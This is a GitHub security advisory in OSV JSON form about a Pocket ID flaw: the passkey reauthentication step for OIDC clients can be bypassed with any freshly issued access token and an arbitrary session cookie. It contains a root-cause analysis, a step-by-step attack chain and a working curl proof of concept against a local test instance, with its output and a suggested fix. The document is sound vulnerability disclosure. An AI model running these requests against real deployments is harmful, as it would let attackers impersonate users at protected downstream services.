GHSA-hp74-gm6m-2qm5: Github.com/pocket id/pocket id/backend Authentication Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hp74-gm6m-2qm5",
  "modified" : "2026-07-28T14:25:30Z",
  "published" : "2026-07-28T14:25:30Z",
  "aliases" : [ ],
  "summary" : "Pocket ID has a reauthentication bypass via one-time access token login — passkey step-up requirement defeated by JWT freshness check that accepts any login method",
  "details" : "# Reauthentication Bypass via One-Time Access Token Login\n\n## Summary\n\nA weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint's access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone.\n\nThe bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim's name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.\n\n## Root Cause\n\n`CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token's `IssuedAt` claim is less than 60 seconds old:\n\n```go\n// webauthn_service.go:378-381\ntokenExpiration, ok := token.IssuedAt()\nif !ok || time.Since(tokenExpiration) > time.Minute {\n    return \"\", &common.ReauthenticationRequiredError{}\n}\n```\n\nIt does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:\n\n```go\n// webauthn_controller.go:189-199\ncredentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)\nif err == nil {\n    token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)\n} else {\n    // FALLBACK: Only checks access token age, not auth method\n    accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)\n    token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)\n}\n```\n\nAdditionally, the handler's session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check:\n\n```go\n// webauthn_controller.go:180-184\nsessionID, err := c.Cookie(cookie.SessionIdCookieName)\nif err != nil {\n    _ = c.Error(&common.MissingSessionIdError{})\n    return\n}\n// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT\n// to CreateReauthenticationTokenWithAccessToken (the fallback path)\n```\n\nIn the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.\n\nMeanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed:\n\n```go\n// jwt_service.go:191-195\nnow := time.Now()\ntoken, err := jwt.NewBuilder().\n    Subject(user.ID).\n    Expiration(now.Add(...)).\n    IssuedAt(now).  // Always \"now\" — regardless of auth method\n```\n\nThis function is called by:\n1. WebAuthn login (intended passkey path)\n2. One-time access token exchange (one_time_access_service.go:200)\n3. User signup (user_signup_controller.go:182)\n\nAll three produce tokens that bypass the reauthentication freshness check.\n\n## Attack Chain\n\n**Precondition**: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).\n\n1. **Exchange OTA for fresh JWT**: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`.\n\n2. **Set any session cookie**: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`.\n\n3. **Bypass reauthentication**: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.\n\n4. **Authorize sensitive client**: `POST /api/oidc/authorize` with the reauthentication token and the target client's ID. The authorization code is issued.\n\n5. **Get OIDC tokens**: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token.\n\nAll steps complete in under 2 seconds (60-second window is trivial for scripts).\n\n## Proof of Concept (Verified Live)\n\nTested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.\n\n```bash\n# Seed test database\ncurl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true\n\n# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)\ncurl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV\n# Returns 200 with user info, sets access_token cookie with IssuedAt=now\n\n# Bypass reauthentication - empty body triggers access token fallback\n# Session cookie can be ANY arbitrary value - handler only checks existence\ncurl -s -b cookies.txt -b \"session=deadbeef\" -X POST http://localhost:1411/api/webauthn/reauthenticate \\\n  -H \"Content-Type: application/json\" -d '{}'\n# Returns: {\"reauthenticationToken\":\"al9JkF9kVI0V3UsAqMJIIF73N4ogHial\"}\n# NO passkey interaction! Fake session cookie accepted!\n\n# Authorize sensitive OIDC client (after enabling RequiresReauthentication)\ncurl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"clientID\":\"3654a746-...\",\"scope\":\"openid profile email\",\n       \"callbackURL\":\"http://nextcloud/auth/callback\",\n       \"reauthenticationToken\":\"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\"}'\n# Returns: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"...\"}\n# OIDC authorization code issued without passkey!\n\n# Exchange for full OIDC token set\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-...\"\n# Returns: access_token, id_token, refresh_token\n```\n\n**Live output from the test run:**\n```\n[A3] Bypass reauthentication (empty body -> access token fallback)...\nReauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\n[A4] Authorize Nextcloud (requiresReauthentication=true)...\nAuthorize response: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"http://nextcloud/auth/callback\",\"issuer\":\"http://localhost:1411\"}\n[A5] Exchange authorization code for OIDC tokens...\nToken response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']\n=== FULL CHAIN COMPLETE ===\n```\n\n## Impact\n\nThe `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:\n\n- **Unauthorized victim-scoped downstream access**: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.\n- **Persistent access via refresh token**: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access.\n- **Collapsed security boundary**: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT `IssuedAt` recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred.\n- **Email compromise escalation**: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication.\n- **Downstream service exposure**: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable).\n\n**Scope**: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.\n\n**Escalation vectors investigated and ruled out**:\n- Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion.\n- IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery.\n- OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).\n\n## Suggested Fix\n\nThe access-token fallback in `CreateReauthenticationTokenWithAccessToken` should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.\n\n**Option 1 (simplest)**: Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.\n\n**Option 2**: Add an `auth_method` claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with `auth_method: \"webauthn\"`.\n\n```go\n// In GenerateAccessToken, add auth method context\nfunc (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) {\n    // ... existing code ...\n    // Add auth_method claim\n}\n\n// In CreateReauthenticationTokenWithAccessToken, check auth method\nfunc (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) {\n    // ... existing verification ...\n    authMethod, _ := token.Get(\"auth_method\")\n    if authMethod != \"webauthn\" {\n        return \"\", &common.ReauthenticationRequiredError{}\n    }\n    // ... rest of function ...\n}\n```\n\n## Self-Review\n\n- **Is this by-design?** No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The `RequiresReauthentication` feature clearly intends to enforce passkey interaction.\n- **Are there upstream bounds?** No. The only check is `IssuedAt` freshness. All login methods produce equivalent tokens.\n- **Honest weaknesses**: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT).\n- **Existing reports**: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated.\n- **Prior art**: No competing reports found on GitHub issues, security advisories, or huntr.\n\n\nKoda Reef",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/pocket-id/pocket-id/backend"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260419162744-978ac87deffe"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-hp74-gm6m-2qm5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/commit/978ac87deffec58beaccd15aead975e91b94c8a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pocket-id/pocket-id"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pocket-id/pocket-id/releases/tag/v2.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T14:25:30Z",
    "nvd_published_at" : null
  }
}